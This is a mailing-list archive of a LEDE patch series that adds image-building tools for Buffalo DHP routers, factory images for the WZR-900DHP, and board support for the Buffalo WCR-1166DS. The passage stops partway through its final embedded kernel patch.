From naobsd at gmail.com  Tue Jan 10 07:36:44 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Wed, 11 Jan 2017 00:36:44 +0900
Subject: [LEDE-DEV] [PATCH v3 1/3] firmware-utils: improve tools for Buffalo
 DHP series
Message-ID: <20170110153646.10304-1-naobsd@gmail.com>

some of Buffalo DHP series use slightly different trx magic, buffalo-enc,
buffalo-tag, and factory image begin with 'bgn'.

this patch adds support for building those images.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v3:
- no change

Changes in v2:
- refresh everything to make rules simple

 include/image-commands.mk              | 33 +++++++++++++
 tools/firmware-utils/Makefile          |  1 +
 tools/firmware-utils/src/buffalo-enc.c | 26 +++++++++--
 tools/firmware-utils/src/buffalo-lib.h | 20 ++++++++
 tools/firmware-utils/src/buffalo-tag.c | 46 ++++++++++++++++--
 tools/firmware-utils/src/mkdhpimg.c    | 85 ++++++++++++++++++++++++++++++++++
 tools/firmware-utils/src/trx.c         | 13 +++++-
 7 files changed, 215 insertions(+), 9 deletions(-)
 create mode 100644 tools/firmware-utils/src/mkdhpimg.c

diff --git a/include/image-commands.mk b/include/image-commands.mk
index a7acd0e..6dadb1f 100644
--- a/include/image-commands.mk
+++ b/include/image-commands.mk
@@ -11,6 +11,39 @@ define Build/uImage
 	@mv $@.new $@
 endef
 
+define Build/buffalo-enc
+	$(eval product=$(word 1,$(1)))
+	$(eval version=$(word 2,$(1)))
+	$(eval args=$(wordlist 3,$(words $(1)),$(1)))
+	$(STAGING_DIR_HOST)/bin/buffalo-enc \
+		-p $(product) -v $(version) $(args) \
+		-i $@ -o $@.new
+	mv $@.new $@
+endef
+
+define Build/buffalo-enc-tag
+	$(call Build/buffalo-enc,'' '' -S 152 $(1))
+endef
+
+define Build/buffalo-tag-dhp
+	$(eval product=$(word 1,$(1)))
+	$(eval region=$(word 2,$(1)))
+	$(eval language=$(word 3,$(1)))
+	$(STAGING_DIR_HOST)/bin/buffalo-tag \
+		-d 0x01000000 -w 1 \
+		-a $(BUFFALO_TAG_PLATFORM) \
+		-v $(BUFFALO_TAG_VERSION) -m $(BUFFALO_TAG_MINOR) \
+		-b $(product) -p $(product) \
+		-r $(region) -r $(region) -l $(language) \
+		-I $@ -o $@.new
+	mv $@.new $@
+endef
+
+define Build/buffalo-dhp-image
+	$(STAGING_DIR_HOST)/bin/mkdhpimg $@ $@.new
+	mv $@.new $@
+endef
+
 define Build/netgear-chk
 	$(STAGING_DIR_HOST)/bin/mkchkimg \
 		-o $@.new \
diff --git a/tools/firmware-utils/Makefile b/tools/firmware-utils/Makefile
index 69cba69..2504678 100644
--- a/tools/firmware-utils/Makefile
+++ b/tools/firmware-utils/Makefile
@@ -80,6 +80,7 @@ define Host/Compile
 	$(call cc,jcgimage, -lz -Wall)
 	$(call cc,mkbuffaloimg, -Wall)
 	$(call cc,zyimage, -Wall)
+	$(call cc,mkdhpimg buffalo-lib, -Wall)
 endef
 
 define Host/Install
diff --git a/tools/firmware-utils/src/buffalo-enc.c b/tools/firmware-utils/src/buffalo-enc.c
index 794659e..08fad4e 100644
--- a/tools/firmware-utils/src/buffalo-enc.c
+++ b/tools/firmware-utils/src/buffalo-enc.c
@@ -35,6 +35,7 @@ static char *product;
 static char *version;
 static int do_decrypt;
 static int offset;
+static int size;
 
 void usage(int status)
 {
@@ -54,6 +55,7 @@ void usage(int status)
 "  -v <version>    set version to <version>\n"
 "  -h              show this screen\n"
 "  -O              Offset of encrypted data in file (decryption)\n"
+"  -S              Size of unencrypted data in file (encryption)\n"
 	);
 
 	exit(status);
@@ -118,7 +120,7 @@ out:
 static int encrypt_file(void)
 {
 	struct enc_param ep;
-	ssize_t src_len;
+	ssize_t src_len, tail_dst, tail_len, tail_src;
 	unsigned char *buf;
 	uint32_t hdrlen;
 	ssize_t totlen = 0;
@@ -131,8 +133,12 @@ static int encrypt_file(void)
 		goto out;
 	}
 
-	totlen = enc_compute_buf_len(product, version, src_len);
-	hdrlen = enc_compute_header_len(product, version);
+	if (size) {
+		tail_dst = enc_compute_buf_len(product, version, size);
+		tail_len = src_len - size;
+		totlen = tail_dst + tail_len;
+	} else
+		totlen = enc_compute_buf_len(product, version, src_len);
 
 	buf = malloc(totlen);
 	if (buf == NULL) {
@@ -140,12 +146,21 @@ static int encrypt_file(void)
 		goto out;
 	}
 
+	hdrlen = enc_compute_header_len(product, version);
+
 	err = read_file_to_buf(ifname, &buf[hdrlen], src_len);
 	if (err) {
 		ERR("unable to read from file '%s'", ofname);
 		goto free_buf;
 	}
 
+	if (size) {
+		tail_src = hdrlen + size;
+		memmove(&buf[tail_dst], &buf[tail_src], tail_len);
+		memset(&buf[tail_src], 0, tail_dst - tail_src);
+		src_len = size;
+	}
+
 	memset(&ep, '\0', sizeof(ep));
 	ep.key = (unsigned char *) crypt_key;
 	ep.seed = seed;
@@ -241,7 +256,7 @@ int main(int argc, char *argv[])
 	while ( 1 ) {
 		int c;
 
-		c = getopt(argc, argv, "adi:m:o:hlp:v:k:O:r:s:");
+		c = getopt(argc, argv, "adi:m:o:hlp:v:k:O:r:s:S:");
 		if (c == -1)
 			break;
 
@@ -276,6 +291,9 @@ int main(int argc, char *argv[])
 		case 'O':
 			offset = strtoul(optarg, NULL, 0);
 			break;
+		case 'S':
+			size = strtoul(optarg, NULL, 0);
+			break;
 		case 'h':
 			usage(EXIT_SUCCESS);
 			break;
diff --git a/tools/firmware-utils/src/buffalo-lib.h b/tools/firmware-utils/src/buffalo-lib.h
index ba8a508..7eb9bf5 100644
--- a/tools/firmware-utils/src/buffalo-lib.h
+++ b/tools/firmware-utils/src/buffalo-lib.h
@@ -69,6 +69,26 @@ struct buffalo_tag2 {
 	uint8_t		unknown2[3];
 } __attribute ((packed));
 
+struct buffalo_tag3 {
+	unsigned char	product[TAG_PRODUCT_LEN];
+	unsigned char	brand[TAG_BRAND_LEN];
+	unsigned char	ver_major[TAG_VERSION_LEN];
+	unsigned char	ver_minor[TAG_VERSION_LEN];
+	unsigned char	region_code[2];
+	uint32_t	region_mask;
+	unsigned char	unknown0[2];
+	unsigned char	language[TAG_LANGUAGE_LEN];
+	unsigned char	platform[TAG_PLATFORM_LEN];
+	unsigned char	hwv[TAG_HWVER_LEN];
+	unsigned char	hwv_val[TAG_HWVER_VAL_LEN];
+	uint8_t		unknown1[24];
+
+	uint32_t	total_len;
+	uint32_t	crc;
+	uint32_t	len1;
+	uint32_t	base2;
+} __attribute ((packed));
+
 #define ENC_PRODUCT_LEN		32
 #define ENC_VERSION_LEN		8
 #define ENC_MAGIC_LEN		6
diff --git a/tools/firmware-utils/src/buffalo-tag.c b/tools/firmware-utils/src/buffalo-tag.c
index b5db72e..6d479f7 100644
--- a/tools/firmware-utils/src/buffalo-tag.c
+++ b/tools/firmware-utils/src/buffalo-tag.c
@@ -48,6 +48,7 @@ static uint32_t base2;
 static char *region_code;
 static uint32_t region_mask;
 static int num_regions;
+static int dhp;
 
 void usage(int status)
 {
@@ -63,6 +64,7 @@ void usage(int status)
 "  -d <base2>\n"
 "  -f <flag>       set flag to <flag>\n"
 "  -i <file>       read input from the file <file>\n"
+"  -I <file>       read input from the file <file> for DHP series\n"
 "  -l <language>   set language to <language>\n"
 "  -m <version>    set minor version to <version>\n"
 "  -o <file>       write output to the file <file>\n"
@@ -227,6 +229,37 @@ static void fixup_tag2(unsigned char *buf, ssize_t buflen)
 		tag->crc = htonl(buffalo_crc(buf, buflen));
 }
 
+static void fixup_tag3(unsigned char *buf, ssize_t totlen)
+{
+	struct buffalo_tag3 *tag = (struct buffalo_tag3 *) buf;
+
+	memset(tag, '\0', sizeof(*tag));
+
+	memcpy(tag->brand, brand, strlen(brand));
+	memcpy(tag->product, product, strlen(product));
+	memcpy(tag->platform, platform, strlen(platform));
+	memcpy(tag->ver_major, major, strlen(major));
+	memcpy(tag->ver_minor, minor, strlen(minor));
+	memcpy(tag->language, language, strlen(language));
+
+	if (num_regions > 1) {
+		tag->region_code[0] = 'M';
+		tag->region_code[1] = '_';
+		tag->region_mask = htonl(region_mask);
+	} else {
+		memcpy(tag->region_code, region_code, 2);
+	}
+
+	tag->total_len = htonl(totlen);
+	tag->len1 = htonl(fsize[0]);
+	tag->base2 = htonl(base2);
+
+	if (hwver) {
+		memcpy(tag->hwv, "hwv", 3);
+		memcpy(tag->hwv_val, hwver, strlen(hwver));
+	}
+}
+
 static int tag_file(void)
 {
 	unsigned char *buf;
@@ -237,7 +270,9 @@ static int tag_file(void)
 	int ret = -1;
 	int i;
 
-	if (num_files == 1)
+	if (dhp)
+		hdrlen = sizeof(struct buffalo_tag3);
+	else if (num_files == 1)
 		hdrlen = sizeof(struct buffalo_tag);
 	else
 		hdrlen = sizeof(struct buffalo_tag2);
@@ -270,7 +305,9 @@ static int tag_file(void)
 		offset += fsize[i];
 	}
 
-	if (num_files == 1)
+	if (dhp)
+		fixup_tag3(buf, fsize[0] + 200);
+	else if (num_files == 1)
 		fixup_tag(buf, buflen);
 	else
 		fixup_tag2(buf, buflen);
@@ -299,7 +336,7 @@ int main(int argc, char *argv[])
 	while ( 1 ) {
 		int c;
 
-		c = getopt(argc, argv, "a:b:c:d:f:hi:l:m:o:p:r:sv:w:");
+		c = getopt(argc, argv, "a:b:c:d:f:hi:l:m:o:p:r:sv:w:I:");
 		if (c == -1)
 			break;
 
@@ -319,6 +356,9 @@ int main(int argc, char *argv[])
 		case 'f':
 			flag = strtoul(optarg, NULL, 2);
 			break;
+		case 'I':
+			dhp = 1;
+			/* FALLTHROUGH */
 		case 'i':
 			err = process_ifname(optarg);
 			if (err)
diff --git a/tools/firmware-utils/src/mkdhpimg.c b/tools/firmware-utils/src/mkdhpimg.c
new file mode 100644
index 0000000..e61d042
--- /dev/null
+++ b/tools/firmware-utils/src/mkdhpimg.c
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2016 FUKAUMI Naoki <naobsd at gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ */
+
+#include <sys/stat.h>
+#include <err.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "buffalo-lib.h"
+
+#define DHP_HEADER_SIZE	20
+
+static char *progname;
+
+static void
+usage(void)
+{
+
+	fprintf(stderr, "usage: %s <in> <out>\n", progname);
+	exit(EXIT_FAILURE);
+}
+
+int
+main(int argc, char *argv[])
+{
+	struct stat in_st;
+	size_t size;
+	uint32_t crc;
+	int in, out;
+	uint8_t *buf;
+
+	progname = argv[0];
+
+	if (argc != 3)
+		usage();
+
+	if ((in = open(argv[1], O_RDONLY)) == -1)
+		err(EXIT_FAILURE, "%s", argv[1]);
+
+	if (fstat(in, &in_st) == -1)
+		err(EXIT_FAILURE, "%s", argv[1]);
+
+	size = DHP_HEADER_SIZE + in_st.st_size;
+
+	if ((buf = malloc(size)) == NULL)
+		err(EXIT_FAILURE, "malloc");
+
+	memset(buf, 0, DHP_HEADER_SIZE);
+	buf[0x0] = 0x62;
+	buf[0x1] = 0x67;
+	buf[0x2] = 0x6e;
+	buf[0xb] = 0xb1;
+	buf[0xc] = (size >> 24) & 0xff;
+	buf[0xd] = (size >> 16) & 0xff;
+	buf[0xe] = (size >> 8) & 0xff;
+	buf[0xf] = size & 0xff;
+
+	read(in, &buf[DHP_HEADER_SIZE], in_st.st_size);
+	close(in);
+
+	crc = buffalo_crc(buf, size);
+	buf[0x10] = (crc >> 24) & 0xff;
+	buf[0x11] = (crc >> 16) & 0xff;
+	buf[0x12] = (crc >> 8) & 0xff;
+	buf[0x13] = crc & 0xff;
+
+	if ((out = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0644)) == -1)
+		err(EXIT_FAILURE, "%s", argv[2]);
+	write(out, buf, size);
+	close(out);
+
+	free(buf);
+
+	return EXIT_SUCCESS;
+}
diff --git a/tools/firmware-utils/src/trx.c b/tools/firmware-utils/src/trx.c
index aa1f5be..dc5bb67 100644
--- a/tools/firmware-utils/src/trx.c
+++ b/tools/firmware-utils/src/trx.c
@@ -100,7 +100,7 @@ int main(int argc, char **argv)
 	int c, i, append = 0;
 	size_t n;
 	ssize_t n2;
-	uint32_t cur_len, fsmark=0;
+	uint32_t cur_len, fsmark=0, magic;
 	unsigned long maxlen = TRX_MAX_LEN;
 	struct trx_header *p;
 	char trx_version = 1;
@@ -121,7 +121,7 @@ int main(int argc, char **argv)
 	in = NULL;
 	i = 0;
 
-	while ((c = getopt(argc, argv, "-:2o:m:a:x:b:f:A:F:")) != -1) {
+	while ((c = getopt(argc, argv, "-:2o:m:a:x:b:f:A:F:M:")) != -1) {
 		switch (c) {
 			case '2':
 				/* take care that nothing was written to buf so far */
@@ -243,6 +243,15 @@ int main(int argc, char **argv)
 				}
 
 				break;
+			case 'M':
+				errno = 0;
+				magic = strtoul(optarg, &e, 0);
+				if (errno || (e == optarg) || *e) {
+					fprintf(stderr, "illegal numeric string\n");
+					usage();
+				}
+				p->magic = STORE32_LE(magic);
+				break;
 			default:
 				usage();
 		}
-- 
2.7.4



From naobsd at gmail.com  Tue Jan 10 07:36:45 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Wed, 11 Jan 2017 00:36:45 +0900
Subject: [LEDE-DEV] [PATCH v3 2/3] bcm53xx: build factory images for
 WZR-900DHP series
In-Reply-To: <20170110153646.10304-1-naobsd@gmail.com>
References: <20170110153646.10304-1-naobsd@gmail.com>
Message-ID: <20170110153646.10304-2-naobsd@gmail.com>

only factory images for DHP-EU and DHP2-JP (fw ver. 2.x) are built.

this will not work for DHP-JP/AP/TW (fw ver. 1.x) because they use
different buffalo_csum() formula.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v3:
- renumbered, no change

Changes in v2:
- refresh everything to make rules simple

 target/linux/bcm53xx/image/Makefile | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/target/linux/bcm53xx/image/Makefile b/target/linux/bcm53xx/image/Makefile
index 853c9b2..d7478fe 100644
--- a/target/linux/bcm53xx/image/Makefile
+++ b/target/linux/bcm53xx/image/Makefile
@@ -38,6 +38,17 @@ define Build/bcm53xx-tplink-safeloader
 	rm $@.trx
 endef
 
+define Build/buffalo-wzr-header
+	$(eval product=$(word 1,$(1)))
+	$(eval region=$(word 2,$(1)))
+	( \
+		echo $(product)_$(BUFFALO_TAG_VERSION)_$(BUFFALO_TAG_MINOR)_$(region)_$(BUFFALO_TAG_PLATFORM); \
+		echo filelen=$$(stat -c%s $@); \
+		cat $@ \
+	) > $@.new
+	mv $@.new $@
+endef
+
 define Build/trx-serial
 	$(STAGING_DIR_HOST)/bin/trx \
 		-o $@.new \
@@ -85,6 +96,7 @@ define Build/seama-nand
 endef
 
 DEVICE_VARS += PRODUCTID SIGNATURE NETGEAR_BOARD_ID NETGEAR_REGION TPLINK_BOARD
+DEVICE_VARS += BUFFALO_TAG_PLATFORM BUFFALO_TAG_VERSION BUFFALO_TAG_MINOR
 
 BRCMFMAC_43602A1 := kmod-brcmfmac brcmfmac-firmware-43602a1-pcie
 BRCMFMAC_4366B1 := kmod-brcmfmac brcmfmac-firmware-4366b1-pcie
@@ -149,6 +161,20 @@ endef
 TARGET_DEVICES += buffalo-wzr-600dhp2
 
 define Device/buffalo-wzr-900dhp
+  BUFFALO_TAG_PLATFORM := bcm
+  BUFFALO_TAG_VERSION := 9.99
+  BUFFALO_TAG_MINOR := 9.99
+  IMAGES += factory-DHP-EU.bin factory-DHP2-JP.bin
+  IMAGE/factory-DHP-EU.bin := \
+	append-ubi | trx-nand | buffalo-wzr-header WZR-900DHP EU | \
+	buffalo-enc WZR-900DHP $$(BUFFALO_TAG_VERSION) | \
+	buffalo-tag-dhp WZR-900DHP EU mlang20 | buffalo-enc-tag | \
+	buffalo-dhp-image
+  IMAGE/factory-DHP2-JP.bin := \
+	append-ubi | trx-nand | buffalo-wzr-header WZR-900DHP2 JP | \
+	buffalo-enc WZR-900DHP2 $$(BUFFALO_TAG_VERSION) | \
+	buffalo-tag-dhp WZR-900DHP2 JP jp | buffalo-enc-tag | \
+	buffalo-dhp-image
   DEVICE_TITLE := Buffalo WZR-900DHP
   DEVICE_PACKAGES := kmod-b43 $(USB3_PACKAGES)
 endef
-- 
2.7.4



From naobsd at gmail.com  Tue Jan 10 07:36:46 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Wed, 11 Jan 2017 00:36:46 +0900
Subject: [LEDE-DEV] [PATCH v3 3/3] ramips: add support for Buffalo WCR-1166DS
In-Reply-To: <20170110153646.10304-1-naobsd@gmail.com>
References: <20170110153646.10304-1-naobsd@gmail.com>
Message-ID: <20170110153646.10304-3-naobsd@gmail.com>

Buffalo WCR-1166DS is a small wireless router with

 - MT7628AN + MT7612E
 - 64MiB DDR2 SDRAM
 - 16MiB SPI flash
 - 2T2R 2.4/5GHz Wi-Fi
 - 2x 10/100M ethernet switch
 - 8x LED
 - 3x button
 - UART pad on PCB (J2: 3.3V, GND, TX, RX)

factory image can be installed via stock web UI.

due to the "dual image" function in the bootloader, the second half of
the SPI flash ("firmware2" partition) cannot be used as a part of the
file system.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v3:
- added

 .../linux/ramips/base-files/etc/board.d/02_network |  15 +-
 target/linux/ramips/base-files/etc/diag.sh         |  11 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   9 +-
 target/linux/ramips/dts/WCR-1166DS.dts             | 172 +++++++++++++++++++++
 target/linux/ramips/image/Makefile                 |   3 +-
 target/linux/ramips/image/mt7628.mk                |  16 ++
 target/linux/ramips/mt7628/config-4.4              |   1 +
 ...r-custom-trx-magic-for-Buffalo-WCR-1166DS.patch |  30 ++++
 9 files changed, 245 insertions(+), 15 deletions(-)
 create mode 100644 target/linux/ramips/dts/WCR-1166DS.dts
 create mode 100644 target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch

diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index daf9b33..0b7c5b4 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -256,6 +256,10 @@ ramips_setup_interfaces()
 		ucidef_add_switch "switch0" \
 			"1:lan" "2:lan" "3:lan" "4:lan" "0:wan" "5 at eth0"
 		;;
+	wcr-1166ds)
+		ucidef_add_switch "switch0" \
+			"3:lan" "4:wan" "6 at eth0"
+		;;
 	wcr-150gn)
 		ucidef_add_switch "switch0" \
 			"0:lan" "6t at eth0"
@@ -392,6 +396,12 @@ ramips_setup_macs()
 		lan_mac=$(cat /sys/class/net/eth0/address)
 		wan_mac=$(macaddr_add "$lan_mac" 5)
 		;;
+	wcr-1166ds|\
+	wsr-1166)
+		local index="$(find_mtd_index "board_data")"
+		wan_mac="$(grep -m1 mac= "/dev/mtd${index}" | cut -d= -f2)"
+		lan_mac=$wan_mac
+		;;
 	wcr-150gn)
 		wan_mac=$(mtd_get_mac_binary factory 40)
 		;;
@@ -409,11 +419,6 @@ ramips_setup_macs()
 	wlr-6000)
 		wan_mac=$(macaddr_add "$(mtd_get_mac_binary factory 32772)" 2)
 		;;
-	wsr-1166)
-		local index="$(find_mtd_index "board_data")"
-		wan_mac="$(grep -m1 mac= "/dev/mtd${index}" | cut -d= -f2)"
-		lan_mac=$wan_mac
-		;;
 	*)
 		lan_mac=$(cat /sys/class/net/eth0/address)
 		wan_mac=$(macaddr_add "$lan_mac" 1)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index a22be5e..c20e939 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -211,6 +211,12 @@ get_status_led() {
 	zbt-wr8305rt)
 		status_led="$board:green:sys"
 		;;
+	wcr-1166ds|\
+	whr-300hp2|\
+	wsr-1166|\
+	wsr-600)
+		status_led="$board:green:power"
+		;;
 	wcr-150gn|\
 	wl-351)
 		status_led="$board:amber:power"
@@ -225,11 +231,6 @@ get_status_led() {
 	wizfi630a)
 		status_led="$board::run"
 		;;
-	whr-300hp2|\
-	wsr-1166|\
-	wsr-600)
-		status_led="$board:green:power"
-		;;
 	wrtnode2r | \
 	wrtnode2p | \
 	wrtnode)
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 9b82b2a..766cc72 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -490,6 +490,9 @@ ramips_board_detect() {
 	*"W502U")
 		name="w502u"
 		;;
+	*"WCR-1166DS")
+		name="wcr-1166ds"
+		;;
 	*"WCR-150GN")
 		name="wcr-150gn"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index c097cfa..4be59b8 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -222,6 +222,11 @@ platform_check_image() {
 		}
 		return 0
 		;;
+	ubnt-erx)
+		nand_do_platform_check "$board" "$1"
+		return $?;
+		;;
+	wcr-1166ds|\
 	wsr-1166)
 		[ "$magic" != "48445230" ] && {
 			echo "Invalid image type."
@@ -229,10 +234,6 @@ platform_check_image() {
 		}
 		return 0
 		;;
-	ubnt-erx)
-		nand_do_platform_check "$board" "$1"
-		return $?;
-		;;
 	esac
 
 	echo "Sysupgrade is not yet supported on $board."
diff --git a/target/linux/ramips/dts/WCR-1166DS.dts b/target/linux/ramips/dts/WCR-1166DS.dts
new file mode 100644
index 0000000..ad3f21b
--- /dev/null
+++ b/target/linux/ramips/dts/WCR-1166DS.dts
@@ -0,0 +1,172 @@
+/dts-v1/;
+
+#include "mt7628an.dtsi"
+
+#include <dt-bindings/gpio/gpio.h>
+#include <dt-bindings/input/input.h>
+
+/ {
+	compatible = "buffalo,wcr-1166ds", "mediatek,mt7628an-soc";
+	model = "Buffalo WCR-1166DS";
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		aoss {
+			label = "aoss";
+			gpios = <&gpio0 0 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_WPS_BUTTON>;
+		};
+
+		ap {
+			label = "ap";
+			gpios = <&gpio0 11 GPIO_ACTIVE_LOW>;
+			linux,code = <BTN_0>;
+			linux,input-type = <EV_SW>;
+		};
+
+		reset {
+			label = "reset";
+			gpios = <&gpio1 14 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_RESTART>;
+		};
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		router_o {
+			label = "wcr-1166ds:orange:router";
+			gpios = <&gpio1 5 GPIO_ACTIVE_LOW>;
+		};
+
+		router_g {
+			label = "wcr-1166ds:green:router";
+			gpios = <&gpio1 6 GPIO_ACTIVE_LOW>;
+		};
+
+		internet_o {
+			label = "wcr-1166ds:orange:internet";
+			gpios = <&gpio1 7 GPIO_ACTIVE_LOW>;
+		};
+
+		internet_g {
+			label = "wcr-1166ds:green:internet";
+			gpios = <&gpio1 8 GPIO_ACTIVE_LOW>;
+		};
+
+		wireless_o {
+			label = "wcr-1166ds:orange:wireless";
+			gpios = <&gpio1 9 GPIO_ACTIVE_LOW>;
+		};
+
+		wireless_g {
+			label = "wcr-1166ds:green:wireless";
+			gpios = <&gpio1 10 GPIO_ACTIVE_LOW>;
+		};
+
+		diag {
+			label = "wcr-1166ds:orange:diag";
+			gpios = <&gpio1 11 GPIO_ACTIVE_LOW>;
+		};
+
+		power {
+			label = "wcr-1166ds:green:power";
+			gpios = <&gpio1 12 GPIO_ACTIVE_LOW>;
+		};
+	};
+};
+
+&ehci {
+	status = "disabled";
+};
+
+&esw {
+	mediatek,portmap = <0x2f>;
+	mediatek,portdisable = <0x27>;
+};
+
+&ohci {
+	status = "disabled";
+};
+
+&pcie {
+	status = "okay";
+	pcie-bridge {
+		mt76 at 0,0 {
+			reg = <0x0000 0 0 0 0>;
+			device_type = "pci";
+			mediatek,mtd-eeprom = <&factory 0x8000>;
+			mediatek,2ghz = <0>;
+		};
+	};
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		gpio {
+			ralink,group = "uart1", "wled_an", "p0led_an", "p1led_an", "p2led_an", "p3led_an", "p4led_an", "wdt", "refclk", "gpio", "i2s";
+			ralink,function = "gpio";
+		};
+	};
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		spi-max-frequency = <10000000>;
+		m25p,chunked-io = <32>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		factory: partition at 40000 {
+			label = "factory";
+			reg = <0x40000 0x10000>;
+			read-only;
+		};
+
+		partition at 50000 {
+			label = "firmware";
+			reg = <0x50000 0x7c0000>;
+		};
+
+		partition at 810000 {
+			label = "firmware2";
+			reg = <0x810000 0x7c0000>;
+		};
+
+		partition at fd0000 {
+			label = "glbcfg";
+			reg = <0xfd0000 0x10000>;
+			read-only;
+		};
+
+		partition at fe0000 {
+			label = "board_data";
+			reg = <0xfe0000 0x10000>;
+			read-only;
+		};
+	};
+};
+
+&wmac {
+	status = "okay";
+};
diff --git a/target/linux/ramips/image/Makefile b/target/linux/ramips/image/Makefile
index 255aa8c..108f51a 100644
--- a/target/linux/ramips/image/Makefile
+++ b/target/linux/ramips/image/Makefile
@@ -23,6 +23,7 @@ define Image/Build/Initramfs
 endef
 
 DEVICE_VARS += DTS IMAGE_SIZE
+DEVICE_VARS += BUFFALO_TAG_PLATFORM BUFFALO_TAG_VERSION BUFFALO_TAG_MINOR
 
 loadaddr-y := 0x80000000
 loadaddr-$(CONFIG_TARGET_ramips_rt288x) := 0x88000000
@@ -48,7 +49,7 @@ define Build/patch-dtb
 endef
 
 define Build/trx
-	$(STAGING_DIR_HOST)/bin/trx \
+	$(STAGING_DIR_HOST)/bin/trx $(1) \
 		-o $@ \
 		-m $(IMAGE_SIZE) \
 		-f $(IMAGE_KERNEL) \
diff --git a/target/linux/ramips/image/mt7628.mk b/target/linux/ramips/image/mt7628.mk
index 7a7ddce..81f4344 100644
--- a/target/linux/ramips/image/mt7628.mk
+++ b/target/linux/ramips/image/mt7628.mk
@@ -46,3 +46,19 @@ define Device/mac1200r-v2
   DEVICE_TITLE := Mercury MAC1200R v2.0
 endef
 TARGET_DEVICES += mac1200r-v2
+
+define Device/wcr-1166ds
+  DTS := WCR-1166DS
+  BUFFALO_TAG_PLATFORM := MTK
+  BUFFALO_TAG_VERSION := 9.99
+  BUFFALO_TAG_MINOR := 9.99
+  IMAGES += factory.bin
+  IMAGE/sysupgrade.bin := trx | pad-rootfs | append-metadata
+  IMAGE/factory.bin := \
+	trx -M 0x746f435c | pad-rootfs | append-metadata | \
+	buffalo-enc WCR-1166DS $$(BUFFALO_TAG_VERSION) -l | \
+	buffalo-tag-dhp WCR-1166DS JP JP | buffalo-enc-tag -l | \
+	buffalo-dhp-image
+  DEVICE_TITLE := Buffalo WCR-1166DS
+endef
+TARGET_DEVICES += wcr-1166ds
diff --git a/target/linux/ramips/mt7628/config-4.4 b/target/linux/ramips/mt7628/config-4.4
index 6b04457..6cd7838 100644
--- a/target/linux/ramips/mt7628/config-4.4
+++ b/target/linux/ramips/mt7628/config-4.4
@@ -138,6 +138,7 @@ CONFIG_MTD_NAND_MT7620=y
 CONFIG_MTD_PHYSMAP=y
 CONFIG_MTD_SPI_NOR=y
 CONFIG_MTD_SPLIT_FIRMWARE=y
+CONFIG_MTD_SPLIT_TRX_FW=y
 CONFIG_MTD_SPLIT_UIMAGE_FW=y
 CONFIG_NEED_DMA_MAP_STATE=y
 CONFIG_NEED_PER_CPU_KM=y
diff --git a/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch b/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch
new file mode 100644
index 0000000..1af72f9
--- /dev/null
+++ b/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch
@@ -0,0 +1,30 @@
+--- a/drivers/mtd/mtdsplit/mtdsplit_trx.c
++++ b/drivers/mtd/mtdsplit/mtdsplit_trx.c
+@@ -13,6 +13,7 @@
+ #include <linux/module.h>
+ #include <linux/init.h>
+ #include <linux/kernel.h>
++#include <linux/of.h>
+ #include <linux/slab.h>
+ #include <linux/mtd/mtd.h>
+ #include <linux/mtd/partitions.h>
+@@ -20,7 +21,8 @@
+ 
+ #include "mtdsplit.h"
+ 
+-#define TRX_MAGIC   0x30524448  /* "HDR0" */
++#define TRX_MAGIC		0x30524448  /* "HDR0" */
++#define TRX_MAGIC_BUFFALO	0x746f435c
+ 
+ struct trx_header {
+ 	__le32 magic;
+@@ -82,7 +84,8 @@ mtdsplit_parse_trx(struct mtd_info *mast
+ 		if (ret)
+ 			continue;
+ 
